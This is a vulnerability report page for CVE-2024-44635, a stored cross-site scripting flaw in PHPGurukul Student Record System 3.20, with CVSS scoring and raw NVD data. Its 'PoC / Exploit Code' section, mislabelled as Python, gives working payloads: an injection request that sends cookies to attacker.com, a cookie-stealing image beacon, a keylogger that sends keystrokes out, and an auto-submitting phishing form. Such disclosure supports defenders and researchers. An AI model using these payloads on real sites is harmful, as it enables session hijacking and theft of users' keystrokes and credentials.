Security Vulnerability Report
中文
CVE-2024-44635 CVSS 6.1 MEDIUM

CVE-2024-44635

Published: 2025-11-14 16:15:48
Last Modified: 2025-11-17 18:22:07

Description

PHPGurukul Student Record System 3.20 is vulnerable to Cross Site Scripting (XSS) via adminname and aemailid parameters in /admin-profile.php.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:phpgurukul:student_record_system:3.20:*:*:*:*:*:*:* - VULNERABLE
PHPGurukul Student Record System 3.20

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2024-44635 PoC - Stored XSS in PHPGurukul Student Record System --> <!-- Target: admin-profile.php --> <!-- Parameters: adminname, aemailid --> <!-- Step 1: Inject malicious JavaScript via adminname parameter --> POST /admin-profile.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded adminname=<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>&[email protected]&submit= <!-- Step 2: XSS payload to steal session cookies --> <script> var cookie = document.cookie; var img = new Image(); img.src = 'https://attacker.com/log?cookie=' + encodeURIComponent(cookie); </script> <!-- Step 3: Keylogger payload --> <script> document.onkeypress = function(e) { fetch('https://attacker.com/keylog?k=' + e.key); } </script> <!-- Step 4: Stored XSS with phishing form --> <script> document.body.innerHTML += '<form action="https://attacker.com/phish" method="POST" id="phish"><input name="pwd"></form>'; document.getElementById('phish').submit(); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-44635", "sourceIdentifier": "[email protected]", "published": "2025-11-14T16:15:47.947", "lastModified": "2025-11-17T18:22:07.280", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "PHPGurukul Student Record System 3.20 is vulnerable to Cross Site Scripting (XSS) via adminname and aemailid parameters in /admin-profile.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:student_record_system:3.20:*:*:*:*:*:*:*", "matchCriteriaId": "3BE56291-1C2E-4DFB-84CB-1C130EBA0DE2"}]}]}], "references": [{"url": "https://github.com/leexsoyoung/CVEs/blob/main/CVE-2024-44635.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/student-record-system-php", "source": "[email protected]", "tags": ["Product"]}]}}